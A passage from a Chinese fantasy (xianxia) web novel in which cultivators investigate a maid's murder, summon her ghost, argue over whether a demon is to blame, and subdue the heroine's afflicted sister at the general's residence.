陆雪青打量着他的神色,知道他是长辈,便主动伸手要接过来,“怀笙她一直如此随性,还请道长不要见怪。” 问玉没有松手,道:“我知道,举手之劳而已。” “道长是怀笙的师父?” “不是。” “那想必也是怀笙的长辈。”陆雪青扬起笑容,目光顺着楼梯上移,声音变得低沉,“怀笙她吃过许多苦,或许有几分叛逆倔强,若冒犯了道长,或是其他宗中弟子,还请道长多多照料。” 他俨然一副商怀笙自家人的模样,问玉不了解二人过往,只知道两人幼时情谊深厚。 可再怎么深厚,相认也不过一日,商怀笙又是个榆木脑袋,怕是也理解不了陆雪青的一番深情。 问玉面无表情道:“我会好好照顾她。” 陆雪青霎时喜笑颜开,整张脸都明媚起来:“多谢道长。那我们怀笙就拜托您了。” 我们怀笙…… 问玉端着莲花灯的手指微微收紧,移开目光,张开嘴想说些什么,话到嘴边,仍是缄默。 商怀笙此时下来,手上拿了件披风,披在他身上。 “晚上风大,你早些回去。这是用天蚕丝织的,虽然轻薄,但是御寒效果极好,你留着吧。” “这、这是给我的吗?”陆雪青惊喜不已,摸着身上的披风,宛如情窦初开的少年般羞涩。 商怀笙说:“你买了这么多东西给我,我也没什么好回礼的。” “不用回礼,是我心甘情愿的,怀笙,这些不足抵你对我恩情的万分之一。” 他眸中闪着亮光,眼睫微颤,掩饰不住的喜悦。 “怀笙,我们明天再见。” 他走时步伐轻快,几乎快要蹦起来。 商怀笙送他出了巷子,回来见问玉还捧着那莲花灯,忙接过来,“多谢道长。” 问玉甩袖,“你倒也会说谢谢。” 商怀笙嘿嘿笑了两声,“你还真把我当成尚未开化的野蛮人了?” “你从前的表现也差不多。” “嘁。” 商怀笙收起笑容,问他:“你何时回来的,怎么不陪桑月姑娘逛一逛?” “发生了命案,你倒是有心思闲逛。” 商怀笙问:“你也觉得是妖物吗?” 问玉摇头,“不能确定,但有一点可以肯定,在闹市中发生命案,又疑似是妖物伤人,宗门之人定然会介入。” 商怀笙蹙眉,想起了那日盛气凌人的凌枫院少主,“他们又要大肆捕杀妖族了?” “明日你与我同去请言府。”问玉的目光掠过她耳边缀着的翡翠耳环,“你不是嫌耳环累赘?” 她身上不乏元妄和秦湫送的首饰,只是很少戴耳环,问玉听她抱怨过,说是耳环坠的耳朵疼,累赘。 商怀笙嗯了一声,听到他后半句,摸了下自己的耳环,“可是它很漂亮啊。” “你……好自为之吧。”问玉留下这么一句,转身上楼。 商怀笙茫然地摸着耳环,不是,他又怎么了? 第23章 第二十三章 尊老爱幼 乐楼的命案很快传遍了日曜城, 死者为乐楼的女婢高湘儿,平日负责照顾乐师的生活起居,年仅十六岁, 因为长相甜美性格活泼, 在乐楼的人缘很好,也从未在明面上与人结怨。 仵作验尸的结果也出来了,高湘儿被割断喉管扔进水中, 失血加窒息,她在死亡前一定经历了极大的痛苦。 请言府尚未得出结论,城中已然人心惶惶,盛传有大妖作恶,青面獠牙,吸食人血, 从前虐杀牲畜, 现在便开始杀人了。 日曜城这两日尤其安静, 白日的齐物汇都不见有人,街道两侧的商铺大都掩门拒客, 他们街上的客栈也都声称客满, 不再接受入住。 商怀笙和问玉去请言府瞧了尸体,她还是坚持自己的观点,杀人的绝不是妖怪。 她话刚说出口,身旁便传来一声嗤笑, 凌盛一袭红衣, 黑发高高束起, 在肃穆的停尸间显得格外刺眼。 今日凌盛独自前来,身边没了凌康辰这个小跟班,身后跟着请言府两位官员。 “你说不是妖怪, 那这脖颈上的抓痕是怎么来的?她身上缠绕的青黑色毛发又是来自何物?” 凌盛比他们来的还早,他是被李昱辰请来除妖的,这几日一直忙着清理城中隐居的妖族,没能第一时间赶到案发现场,又偏被与他有过过节的商怀笙一行人抢了先,心里怨念颇深。 商怀笙翻了个白眼,“你没听到吗?以前那些被杀的牲畜,郊外惨死的两人,都被吸干了血,可是这位却紧紧是被挂在河边,任由她的血流入河中,若真是嗜血的妖怪,会放弃到嘴的美食?” “缥缈阁本就在闹市,或许是这妖怪被人发现,才匆匆弃尸而逃,何况也有人看见了妖物逃离。”凌盛道。 “夜晚昏黑,河堤边又种着许多柳树,发现尸体之人吓得都站不稳了,看走了眼也是有可能的。”商怀笙认真地分析道。 在场还有陆雪青和请言府其他官员,凌盛连连被反驳,脸上已经有些挂不住了,“你这意思,便是有人杀人抛尸?” 商怀笙点点头,“不排除这种可能,这段时间妖物伤人的消息虽然没有大范围传播,但城中也有不少人知晓,如果有心之人借此生事,铲除仇敌嫁祸给妖怪,自己逍遥法外。” 凌盛轻蔑地挑了挑眉,“高湘儿生前从未和人结怨,你说,是什么人如此恨她,用这种残忍的方法杀害她?” 商怀笙轻轻皱起眉头,思索片刻,道:“我不知道。” “……”凌盛抬起下巴盯着她,“所以这些也不过是你的主观臆测!” 商怀笙问:“那你就有证据证明一定是妖怪吗?” 凌盛冷笑,从鼻腔中发出一声轻嗤,“说到底,你还是想袒护妖族。” 他这话的意思,想来是对那日商怀笙的一番言论耿耿于怀,商怀笙觉得无语,没再继续理他,转身背对着他。 凌盛抱着胳膊,站在柱子旁生闷气。 两人剑拔弩张地争论这半天,请言府的官员都没开口说话,一来妖物生祸之事也让他们惶恐生畏,二来他们一个是宫里请来的大师,一个是陆雪青陪同的修士,他们也不敢偏帮某一方。 等两人都安静下来,问玉开口:“她身上的确有被妖气侵染过得痕迹。” 凌盛眼睛一亮,眉梢扬起,露出几分得意,压着眼皮瞥向商怀笙,似乎在说:你听听,你们宗门的人都这么说。 商怀笙撇撇嘴,暗骂一声装货,抬头看向问玉。 问玉绕着高湘儿的尸体走了一圈,抬起她的胳膊,反过来,露出她小臂上一道细小的伤口。 因为在水中浸泡的缘故,她的胳膊有几分浮肿,异常苍白,那道伤口只有平日用的针线粗细,呈现出一种淡淡的红色,如果不仔细根本看不出来。 “这道应该是被妖物所伤,妖气侵入体内。”问玉平静地扫过高湘儿的脸颊,移开目光,“她确实遇见过妖怪,但不一定是被妖物所杀。” 凌盛唇线紧绷,神色僵硬,“道长的意思是,她是被人杀害的?” 问玉没点头也没摇头,食指点在高湘儿的额头,口中念念有词,商怀笙仔细听着,发现是招魂诀。 人类死亡后,灵魂会在人间徘徊七日,没有意识没有思想,一直游荡,七日后三魂七魄汇集,便能听到长眠海的召唤,度过长眠海,去往鬼界。 意外暴毙,怨念深重之人的灵魂更加沉重,很容易会在长眠海迷失,最终沉入海底,化为怨气滋养海底的恶灵。 佛家超度亡魂,减轻他们身上的重量,而常春阁的招魂诀,能让人的三魂七魄迅速归位,在他们前往长眠海之前招魂问事。 凌盛也听出问玉在做什么,他目不转睛地盯着问玉,眸底闪过一丝敬畏。 一个米粒大小的青色光点自高湘儿眉间飞出,像一只萤火虫发出微光,闪烁着飘浮在半空,在她尸身上悬停片刻,缓缓地飞向停尸间外。 问玉给商怀笙递了一个眼神,商怀笙立即追了上去,凌盛不甘示弱,紧随其后,陆雪青和其他官员脸上有几分茫然,他下意识地跟了出去,出门却见外面已经没了商怀笙的踪影。 陆雪青在门口呆站良久,迟钝地意识到他与商怀笙之间的不同,自嘲般地笑笑,折返回屋中。 问玉留在原地,站在高湘儿的尸身旁,他一袭青衣,挺拔如松竹,面色从容,仿佛世间红尘皆不入眼,在昏暗阴沉的殓房中独有一份世外仙人的气质。 “道长,为何不与他们同去?”陆雪青问。 问玉道:“他们应付得了。高湘儿惨死,死亡之地又位于河畔,阴气浓重之地,若她被招魂后化为厉鬼来寻自己尸身,我要在这里保护你们。” 他此言一出,同行的几个官员都打了个寒颤,面面相觑,露出担忧的神色。 “大人,时辰不早了,下官家中小女今日生辰。” 其中一人小心翼翼地开头,其他人也纷纷开口,各个都有急事要忙,只等着陆雪青松口。 陆雪青心中无奈,见外面日头西沉,暮色渐渐掩盖殓房,窗外也透出一股阴森森的气息。 这几日日落后大街小巷便没了人影,妖怪伤人的传言一出来,来皇宫都连夜请了祈星寺的人去做法事,皇帝都心有不安,更不要说从未经历过的朝臣。 “时候不早了,你们回去吧。”陆雪青怕他们夜里赶路再给自己吓出什么毛病,便准许他们先回去。 几人连声道谢,一眨眼便跑没了影。 只剩问玉与陆雪青二人面对着一具尸体,陆雪青想与他交谈两句,可不知该如何开口,问玉也是一副无心与人交流的神情,他犹豫片刻,将话咽了回去,背对着问玉打量停尸间的构造。 没过多久,问玉竟主动开口,“商将军的情况如何了?” 突然听到声音,陆雪青一惊,转身恭敬回道:“这几日都没再犯过病,只是夜里还有些睡不安稳,起过两次低烧,索性问题不大。” 问玉“嗯”了一声,又陷入沉默,陆雪青以为这次短暂交谈已经结束时,又听见他说:“你似乎对她的动向了如指掌,连她夜里睡不安稳这种事情都知道。” 陆雪青心中一惊,手指不自觉蜷起,显出几分局促,他原以为问玉是那种仙风道骨不问世间事的仙人,但从他的这句话中,却听出了几分揶揄戏谑的意味。 想起自己曾在不知道商怀笙身份的时候在他面前坦白过对怀笙的情愫,陆雪青有几分尴尬。 这是在怀疑他对姐妹俩人都心怀不轨吗? “是她的身边的侍卫告诉我的。”陆雪青道,“我认识商叙的时候,她已经在军营待了三年,我本来回日曜城是要找怀笙的,但只见到她的妹妹,那时候的商叙年纪尚小。” 他顿了顿,又道:“商叙在军营的最后一道考验,李昱辰她一把匕首,把她放进发狂的野猪群中一天一夜,如果不能杀了它们,她就会被分食。” 陆雪青眸底浮漫出丝丝心疼和怨恨,“我见到她的时候,她的右腿断了,她抱着自己的断腿,满身是血的爬出来……幸亏我略通一些医术,帮她接回断腿,不然她就会成为弃子,自生自灭。” “李昱辰对她说,你面对的只是十几只野猪,你姐姐面对的是一整个丛林的野兽,整整十三天,出来时全身没有一块好肉。对她来说是最后一道考验,对怀笙,只是残酷训练的开始。那时的怀笙不足七岁。” “我认识怀笙的时候,她已经有着超出同龄人的冷静,她似乎犯了什么错被李昱辰罚到狱中思过,狱中皆是十恶不赦的重刑犯,乱世中官府无暇顾及,他们在狱中依然为非作歹,在她来之前,我的父母被他们折磨致死,我差一点也要死在他们手中,是怀笙救了我。” 问玉一直平淡的眼眸中也有了波澜,他移开目光,没让人察觉自己的情绪,“你不必对我说这些。” “我对怀笙是真心的!”陆雪青道,“自小照顾商叙,也是因为我没能回报怀笙的恩情,所以只能照顾好她唯一的亲人,来缓解自己的愧疚之心。” 陆雪青目光坚定,仿佛在向老丈人保证自己对爱人真心实意,请求对方同意,他把问玉当成是商怀笙宗门中的长辈,敬畏他的修士身份之余,又多了几分对“商怀笙娘家人”的尊重。 半个月前他跟商怀笙还一言不合就吵架,如果不是看在他辈分大,商怀笙绝对会跟他动手。 问玉眉梢微挑,嘴角不自觉地抽动一下,想说点什么又硬生生地咽回去,好半天才道:“修道之人寿命远比凡人要长,而且……凡人使用归元鬼针,是以自己的寿元催动的,你的身体状况已经和旁人不同,你应该知道吧,你没有时间了。” 陆雪青沉默低头,扯出一丝勉强的笑容,他没有太惊讶,仿佛早就知道自己的结局,“我知道,我母亲便是因为一直在用归元鬼针为我父亲续命,四十出头的年纪便已经形容枯槁,死在我怀里的时候几乎没有重量。” “我已经感觉出来身体的亏虚日益严重,有时候坐在书房,感觉身体轻飘飘的,像是随时都会消散。我本来打算治好商叙的病就请辞离开,找个安静的地方死去,可商叙的病一直不见好,我又见到了怀笙……” 从前他只想,商叙能多活一断时日,怀笙回来的时候至少还能见到自己的亲人,他贱命一条,父母双亡,无亲无故,死就死了。 可他现在见到了怀笙,怀笙也记起了他,他又没那么想死了,他想活着,就算多活个二三十年,说不定还能多年怀笙几面。 陆雪青面色惨白,眼底是浓浓的不甘,和深深的无奈,“道长,此事还请不要告诉怀笙,免得她担心。” 商怀笙会担心吗? 她那个性子,只在乎自己亲近之人,旁人都可以舍弃。 她与陆雪青非亲非故,只是年幼时相处过一段时日,商怀笙会伤心? 问玉不免揣测起商怀笙知道此事后的反应,总觉得陆雪青现在有几分自作多情。 但他若是真死了,那就是为了商怀笙的妹妹死的,说到底还是为了商怀笙。 她并非冷血无情之人,此后也会一直念着陆雪青。 “你不会死的。”问玉说。 商怀笙那个犟种,若是知道了,肯定会想尽各种办法来救陆雪青,反正到最后也会找到他头上,倒不如现在就解决了,免得她来骚扰他。 “你知道归元鬼针是怎么来的吗?”问玉道。 陆雪青说,“母亲说是家里祖传的。” 问玉又问:“那你知道你母亲是什么身份吗?” 陆雪青迟疑片刻,“父母都是落凤原人士,家父是读书人,家母医女出身。” “那他们想必还有什么事情没告诉你。归元鬼针最著名的用处,是起死回生,留住已逝之人的魂魄,将其三魂七魄缝合进身体,七日之内便能重获新生。” 陆雪青瞳孔微微瞪大,“那岂不是也可以借尸还魂?” 问玉轻笑,“你倒是聪慧。正因如此,归元鬼针乃是天泉医谷秘法,轻易不外传,我所认识的医修中,也只有三人精通此术。” 陆雪青惊愕不已,肩膀微颤,似乎发现了什么不得了的事情,“那、那我母亲……” “等事情解决后,你去天泉医谷吧,说是我让你去的,他们应该会接纳你的。”问玉顿了顿,笑道,“不过我都近百年没和他们打过交道了,不知道他们还记不记得我。” “百年?!”陆雪青眼睛瞪得比刚刚还大,“敢问道长年岁几何?” 问玉笑容瞬间消失,冷淡道,“一百出头而已。” 陆雪青抱拳,“失敬失敬,那我是不是该尊称您一声……” “不必。”问玉无情打断。 陆雪青瞬间又多出几分恭敬,在停尸间转了一圈,从角落扒出来一个落满灰的矮凳,用手帕仔细擦干净了,递给问玉。 “道长,您请坐。” 俨然把他当成老年人对待。 问玉不想理他,“你坐吧,你比较需要。” “晚辈不敢,尊老爱幼。” “……” 两人为了一个矮凳互相推让的时候,商怀笙回来,像阵青绿色的风一样卷过来,“啪——”地在问玉面前站定,脸上满是愤怒和怨气。 “我们见到高湘儿的魂魄了,她在万家巷,那是她的家,可是……”商怀笙握紧拳,咬牙切齿,“我们还没来得及多问,便被凌盛那家伙吓跑了!” 她说话时,凌盛也“咻”地飞进来,同样满脸的不爽,厉声反驳她:“明明是你,非要激起她的回忆,眼看就要把她逼成厉鬼了,若不是我,你现在还能活着回来?” 商怀笙瞪他一眼,“你以为我需要你帮忙?你才是个拖油瓶!” 凌盛:“你竟敢这么跟本公子说话!” “行了!”问玉揉揉太阳穴,被吵的头疼,“你们见到了高湘儿,她说什么了?” 商怀笙道:“她说她确实见过妖怪,在万家巷,就是前日我们感应到妖气那日,她遇见了一个通体红毛,状似狐狸的妖怪。” 凌盛道:“她说那妖怪十分凶恶,想要袭击她。” 商怀笙打断他,“你胡说,高湘儿不是这么说的,她原话是那狐妖看上去似乎要袭击她,但不知道为什么没有下手,反而转头去撞墙,还用利爪划破了自己的肩膀,就是为了抑制自己的杀欲。” 凌盛冷哼:“如果不是为了袭击她,为何要在高湘儿回家的路上埋伏她?我看那妖怪是妖性大发,想吃人了!” 商怀笙反驳:“如果它真的想吃人,就不会伤害自己了!” 凌盛张开嘴,“你就是在袒护妖怪!” “……” 问玉抬手,一人一个禁言咒。 两人瞪着眼睛面对彼此,口型看上去喋喋不休,连带着手指都一起比划,但是一点声音都没发出来。 就算是这样,他们也不服气地继续“争论”。 问玉感到一阵心累,解了商怀笙的禁言咒,“你先说,你只有三句话的机会,高湘儿说了什么?” “她说那妖怪似乎没想害她。” “她说她很害怕所以连夜去找人帮忙。” “她说凌盛你就是个大傻——” 商怀笙又被禁言了,问玉看着眼珠子都快瞪出来的凌盛,无奈地叹息一声,解了他的禁言,“你也有三句话的机会。” 凌盛已经意识到刚才的争吵是拉低了自己的身份,他整理衣领,淡淡地瞥了商怀笙一眼,道:“她很信任那个人,所以连夜去找她,但她找到那人告知此事后便失去了意识。” “那个人是谁?” 凌盛抬眸,看向陆雪青,道:“云月都的将军,商叙。” “……嗯嗯嗯!(你放屁!)” 短暂沉默之后,商怀笙强行挣破了禁言咒,抬手抓住凌盛的衣领,“她明明没有说是谁!你为什么说是商叙!” 凌盛抓住她的胳膊,想要把她甩开,结果甩了好几次都没成功,他蹙起眉,满脸烦躁,“她本来都要说出口了,结果你把面纱摘了,她一下子就闭上嘴了,你还猜不出来是因为什么吗?” 凌盛直视着她的眼睛,眼中有挑衅之意,“你与那位将军长得很像吧?她是你姐姐,还是你妹妹?” “知道她是我妹妹你还敢污蔑!” 商怀笙抬拳,眼看就要落到凌盛脸上,凌盛立即想要躲闪,却没想到她的力气大的出奇,他用尽全力竟然也无法挣脱,凌盛心中一惊,下意识地闭上眼睛。 “商怀笙!” 意料之中的拳头没落下来,问玉抓住商怀笙的肩膀,按住了她的手。 “冷静。别再惹事了。” 若是真在这里伤了凌枫院的少主,又是一桩麻烦事。 商怀笙冷脸将凌盛扔到一旁,同时也甩开问玉的手,“少管我!” 手上传来火辣的痛感,问玉暗道这小丫头真是力道不小,心中却涌起一股异样的情绪,似乎有什么熟悉的感觉从脑海里窜过,可是他没能抓住。 “怀笙……”一旁的陆雪青缓缓开口,他上前一步,看到商怀笙唇角渗出血迹,霎时脸色苍白,“你怎么流血了?” 商怀笙抹了下唇角,吐出一口鲜血,“没事,强行突破禁言咒的副作用。” 陆雪青担心不已,拿起帕子便帮她擦血,商怀笙也不懂得男女有别,竟没有拒绝。 看到这一幕,问玉冷漠地移开目光,将地上的凌盛扶了起来。 凌盛满脸不甘,看着陆雪青与商怀笙亲昵的模样,露出几分嘲讽之意,“粗鲁莽夫!” 商怀笙不甘示弱地回怼,“死鸭子嘴硬!” “安静。”问玉轻轻皱起眉头,“你们两个是将自己师父的教导全忘了吗?刚刚才有人无辜失去性命,你们还有心思在这里吵架?” “凌盛,你为什么觉得她没说出口的人就是商叙?” 凌盛道:“我会这么说,自然是有证据。我们这几日在城中清除妖孽,听到一只鸟妖说,他曾经亲眼见过,将军府中,饲养着一直修行千年的大妖。只是我们并未在将军府外感应到妖气,只当他是信口雌黄,便没有深究。” “直到今日见到高湘儿魂魄,她明明马上就要说出那人是谁,却在看到商怀笙相貌后闭了嘴,商怀笙追问时,她眼中是明显的惊惧之色,险些失控成为厉鬼,所以我觉得,此事必然与将军府逃不开关系。” 第24章 第二十四章 国家社稷 “胡说八道!” 对于凌盛的说辞, 商怀笙只觉得他是记恨自己曾经袒护许鲜,才故意将此事往商叙身上引。 今日与问玉同来请言府,她本想易容, 得知见过自己真容的凌盛要来, 商怀笙便不想多此一举,只戴了个面纱以防请言府中官员认出。 她也不是故意在高湘儿的鬼魂面前揭掉面纱,只是当时一阵风吹来, 带着一丝血腥气,商怀笙脸上发痒,掀开一角揉了揉鼻子,才被高湘儿瞧见真容。 没想到竟被凌盛借机攀咬! 商怀笙气不打一处来,撸起袖子就要跟凌盛打一场,问玉无奈地看了她一眼, 抢在她前头开口, “你见过商叙?不然怎么知道她和商怀笙长得像?” 这一句问到重点, 凌盛脸色微变,有几分犹豫, “偶然见过。” 陆雪青道:“凌公子是近几日才来到日曜城的, 可小叙这些日子一直在府中养病,从未出过门。” 凌盛眼珠子转了转,没了刚才的气焰,“她不是有病吗, 之前随我母亲来给她治过病。” 问玉看向陆雪青, 似在询问此言是否属实, 陆雪青轻轻摇头,“给小叙治病的人我都见过,我对你们凌枫院的人从无影响。” 凌盛轻嗤一声, “你当我母亲很闲吗?若不是天机阁的人请求,我们来不会来这一遭。” “天机阁?我只听说天机阁算天下事,小叙和他们从未有过交情。” 陆雪青不知道,商怀笙和问玉却不陌生,天机阁与太虚殿是当下修仙界中最为显赫的两大宗门,一个推演天机掌握天下事,一个广罗弟子维系三界秩序,两者已经存在千年,代代传承,在修仙界掌握着绝对的话语权。 商怀笙只听说过天机阁的名号,从未与他们的人接触过,“天机阁的人闲出屁了,让你们来给商叙治病?!” 凌盛瞪她一眼,“常春阁竟教出你这般无礼之人,当真是——” 他说着,余光瞥见同样蹙眉的问玉,剩下话咽进肚子里。 他倒忘了,旁边这位也曾经当着人家阁主的面出言不逊——这样的人才,常春阁居然出了两位! 问玉继续追问,“你们来给商叙治病,可瞧出什么了?” 凌盛摇摇头,“她奇怪得很,脉象一切正常,白日里也看不出任何异常,只是夜里会起高烧,不过那时还没有现在这般烧得频繁,我母亲给她开了些退烧的药便回去了。” 陆雪青仔细听着,也问道:“你们去给小叙诊治之前,可去见过陛下?” 李昱辰有旨,所有为商叙诊治之人,必须先经由他检验,鱼目混珠者重罚。 凌盛闻言,满脸的不爽,“我母亲纡尊降贵去云月都那种地方给一个凡人治病,还需要你们皇帝的许可?!” 陆雪青额角微微跳动,薄唇轻启,却没说话。 商怀笙攥起拳头,正要开口,又被问玉抢先,“你觉得高湘儿去了哪里?” “她险些成为厉鬼,被我击退,现在天色已晚,应当会去找自己挂念之人。”凌盛想了想,道,“她父亲死的早,家中只有一个老母亲和一个七岁的妹妹。” 问玉道:“她这个样子,惊吓到老人孩子就不好了,你去万家巷守着,遇事千万冷静,不要再生出什么事端。” “那商叙那边……” “你也说了将军府没发现妖气,此事还有待定夺,我会让我们宗门的弟子前去看守。” “是。” 凌盛下意识地应下来,往外走出数米,才突然反应过来:问玉凭什么命令他? 可问玉毕竟是他长辈,而且高湘儿定然会返回万家巷,若是能抓着她便能问出真相。 想到这里,凌盛也便不再计较谁命令了谁的问题,用传音符脚上凌康辰,一起去万家巷等待。 另一边,商怀笙和问玉也回了客栈,一路上她黑着脸,不满和怒气都写在脸上。 问玉频频侧目打量她的神色,一开始满脸无奈,到后来忍不住笑了起来,“你师父就没教过你喜怒不形于色吗?” 商怀笙瞥他一眼,“没有!” 问玉道:“也是,你师父也是个藏不住事儿的人。” “哼。”商怀笙不仅气凌盛,也气问玉处处维护他,“你信凌盛说的?” “并不全信。”问玉道。 商怀笙抬起头,“你也怀疑是我妹妹暗中害了那些人?” 问玉重复道,“我说了,并不全信。” “她不会做这种事情的。”商怀笙道。 “你都十几年没见她了,为何如此笃定?”问玉的声音压低了几分,“人心是会变的。而且,她是大庆的将军,上阵杀敌,手上也是沾过人命的。” 商怀笙像是被戳到痛处,狠狠地剜了他一眼,“身为一国将军,保家卫国是她的职责!她在战场上杀人,是为了保护大庆的百姓不受人欺凌,像你这种不食人间烟火的仙人,哪里知道乱世中百姓的苦楚!” 问玉道,“所以你曾经为李昱辰杀人,也是为了现在的太平盛世,为了庇佑无辜的百姓。你不必心中有愧。” “你——”商怀笙神色微僵,嘴唇张了又合,直直地盯着他,眸光闪烁,好半天才道,“谁要你来宽慰我了!” 问玉勾起笑容,“真是个小没良心的,连好话都听不得了?” “狗嘴里吐不出象牙来!” “……真得替你师父好好教训你了。” “呵——!” 商怀笙冲他做了个鬼脸,快步往前走,和他拉开距离,问玉抱着胳膊在后面不紧不慢地跟着,语中带着笑,“我说的可不是玩笑话,这是师叔对你的教导,听到没有?” “你才不是我师叔!谁要你教导!” 商怀笙走得更快,耳边似乎都能听见呼啸的风声,“咚咚”地响着,像是她的心跳。 * 回到客栈,她想将今日之事告知师兄师姐,进门却只见神色急切的闻惠,一见她便迎上来,道: “刚才将军府中的人来求助,说你妹妹又发病了,事态紧急,秦湫和元妄已经赶了过去,你要不要也去瞧瞧?” “什么?!” 商怀笙大惊失色,脚步还未站定,眨眼间已经向着夜空飞升而去。 靠近将军府,便听惊叫声一片,瓷器摔碎的清脆声响,长鞭在空中划出的巨响,以及兵刃相接的碰撞声,乱作一团。 后院中,商叙衣裳单薄,头发散乱,双眼圆睁却只见眼白,手中握着一截木棍,耍着一套利落的枪法,劈啪作响。 周围四五个身穿战甲的将士,手握武器,只敢防御,困住商叙不让她上前,却不敢上前,一来商叙攻势太猛,二来刀剑无眼,她们怕伤了她们的将军。 秦湫与元妄也是刚到,他们起先想直接将人制服,可过了几招后才发现发病时的商叙力气极大,竟有几分商怀笙的模样,二人对视一眼,分作两路散开。 “捆仙锁,去!” 秦湫袖口钻出一截闪着金光的长线,瞬间便缠上了商叙,牢牢捆住她的双手,并不断延伸,直至将她全身都绑上。 元妄与秦湫一左一右,将她牵制住。 府中将士一愣,纷纷朝她们看过来,又很快扑上去,夺下商叙的武器,合力压住了躁动的商叙。 商叙口中发出野兽一般的低吼,又转变低声细嗓的呜咽,如同怨鬼哭诉,无比刺耳。 “先将她带回房间。”秦湫指挥道,瞥见姗姗来迟的商怀笙,大步走了过去,“怀笙,你不要着急,已经稳住了。” 商怀笙御风而来,担忧了一路,已经是魂不守舍,直勾勾盯着被抬进房间,“怎么会这样……问玉不是给了能够压制的铜镜吗?” “已经没事了。”秦湫揽住她肩膀,“你冷静些。” 夏风带来些许血腥气,商怀笙环顾四周,院中约莫十人,皆为女子,是商叙在云月都的亲信,多多少少都带着伤,事发突然,她们来不及准备,都是赤手空拳应战。 刚才商叙发狂时伤她们,其中重伤的腹部满是鲜血,要被人搀扶着才能勉强起身,额上已经全是冷汗。 即便如此,她们脸上也没有怨恨和畏惧,只有对商叙的担心。 这样的情况不是第一次发生,商怀笙忍不住去想,每次商叙发病,清醒时看到随着自己出生入死的姐妹被自己所伤,自己的亲友因自己损耗生命,她会是怎样的想法。 她仰头对月,苦涩在心底蔓延……是谁把她妹妹变成这样的? “怀笙,来。”秦湫拍拍她肩膀,示意她一起进入商叙卧房。 商叙还没有完全冷静下来,双眼还是翻着眼白,猩红可怖,口中呜咽不止,她不停地扭动,试图挣脱身上的捆仙锁。 商怀笙上前,两指捏住了商叙的手掌,又拉过她另一只手,将两只手腕握在一起,轻松地攥住了她。 她扭头望去,被问玉叮嘱悬挂在床头的照妖镜,已经出现了丝丝裂纹。 她猛地想起凌盛的话,心中不免有了猜疑,难道此事真的与商叙有关? 商怀笙低头,见商叙正死死地盯着她,眼神犹如地狱中爬出来的恶鬼,商怀笙一手压着她的手腕,一手按着她的双腿,像一座大山限制着商叙的动作。 没多久,她似乎感到了疲累,缓缓闭上眼睛,似乎已经睡了过去。 商怀笙没有立即松手,眼神示意秦湫去看床头的照妖镜,待她换上新的完好无损的镜子后,商怀笙才慢慢松开。 商叙在床上剧烈地颤抖了一下,脑袋一歪,彻底昏死过去。 秦湫握着那枚碎裂的铜镜,语气中满是错愕,“这镜子是问玉师叔的?师叔的东西,怎么会坏?” “师姐,你也觉得有什么不对吗?” “……刚进来的时候我就发现了,好重的怨气。” 秦湫将捆仙锁收了回来,看着商叙与商怀笙有几分相像的睡颜,感慨万千,“她才十几岁,怎么会有这么重的怨气?” 商怀笙垂下眼眸,“我也不知道。” 两人沉默着,身后响起脚步声,一个模样俊俏的黄衣女子上前来道,“两位道长,陆大人和问玉道长来了。” 商怀笙转头,看见她胳膊上的伤痕,黯然地移开视线,“知道了。” 秦湫道:“你在这里守着她,我去瞧瞧?” “我去吧。” 商怀笙与那黄衣女子擦肩,见她神色微愕,一直在盯着自己的脸,不难猜出她在想些什么。 她与商叙长得如此相像,陆雪青能认出来,其他人自然也能认出来。 只是这一次她不打算再伪装了。 她是商叙的姐姐,这是事实,不需要隐藏。 陆雪青刚与他们分开,还没回到府邸便接到消息,拿了药箱匆匆过来,正打算给商叙施针。 “她已经稳住了,也没有起烧。”商怀笙瞥见他裙摆上沾着的泥沙,心脏像被攥紧了一般。 旁人都对商叙如此关心,她却对她的情况全然不知。 商怀笙越过陆雪青走到问玉面前,把铜镜交给他,“你的镜子,碎了。” 问玉抚摸着上面的裂纹,轻声道:“这镜子是师父所赠,陪了我一百多年。” 商怀笙神色沮丧,“知道这东西很贵重,我会赔给你的。” 问玉气得想笑,“我的意思是,这么多年的镜子都碎了,说明这次形势严峻,你当我是想要赔偿呢?” 商怀笙顿顿的,“你不直说,谁知道你什么意思?” “这种时候了还想着顶嘴。” 问玉将铜镜收回袖中,提出要进去看看商叙的情况,商怀笙点点头让开道路,没有与他一起进去。 她呆呆地在院中踱步,四周的布置简单,一张石桌,一棵茂密的树,一条直通院门的鹅卵小路,路两侧种着不知名的花,刚刚长出花苞,被今晚这次战斗踩踏成一片狼藉,树干上也遍布鞭痕与刀痕。 商怀笙伸手,抚摸着树干上的痕迹,一股深深的内疚将她包裹,像浸入海水般令人窒息。 她脱离李昱辰的魔爪,一走了之,过了这十几年的神仙日子,却不想她妹妹在这里代她受罪。 从前拿刀刮鱼鳞都害怕的妹妹,变成现在的模样,商怀笙知道李昱辰的手段,也能想象出商叙的遭遇。 她天生神力,那些训练虽说残酷却只是折磨她的精神,对她的身体产生的影响较小,而商叙只是普通人,想要从那种炼狱中厮杀出来,吃过的苦要比她多千倍万倍。 商怀笙握紧双拳,恨不得现在就冲到李昱辰面前杀了他泄愤! 满腔怒气无处宣泄,她抬手在树干上砸出一个碗口大的凹陷,听见身旁陆雪青小心翼翼地说,“怀笙,这棵树小叙很喜欢的,特地从云月都运过来。” “……” 商怀笙看向他,陆雪青眼神略有些闪躲,片刻后走上前来,握住她的拳头,“疼不疼?” “不疼。”商怀笙犹豫片刻,将手抽了回来。 陆雪青落寞垂手,两人相对无言,月光洒下来,树在二人间落下一片黑色阴影。 商怀笙低头看着随风而动的叶子,沉默半晌,道,“谢谢你一直照顾我妹妹。” “这是我应该做的。”陆雪青说完,忽的红了脸,有些急切地辩解道,“我做这些不是为了要你的人情,也没想借机像你索求什么,我只是、只是想为你做些事情……” “……” 商怀笙第一次觉得自己的语言如此匮乏,干张着嘴,半句话都说不出来。 急得快要抓耳挠腮之时,侧边响起两声轻咳,“咳咳。” 商怀笙扭头,发现元妄站在院门外,似笑非笑地看着她,“打扰你们叙旧了,但我这里有点急事。怀笙,来瞧瞧我找到了什么。” 他招招手,身后飘出一个脚悬在半空肿的女鬼,神色畏畏缩缩地扒着元妄的肩膀,正是白日见过的高湘儿。 “我感觉到一股不同寻常的鬼气,找了半天,果然找到了。”元妄说着,冲高湘儿露出一个笑容,“别怕,我在这里。” 高湘儿点点头,满脸的敬畏和崇拜。 商怀笙惊讶,“你真是,原来不光会哄女修和女妖,还会哄女鬼。” 元妄脸色变了变,“说什么呢,我只是用真心和关心来对待她而已。” 陆雪青看不到高湘儿,只是跟着商怀笙的视线,问,“发生什么了?” “高湘儿。”商怀笙说着,抬手在他眼前拂过,“找到了。” 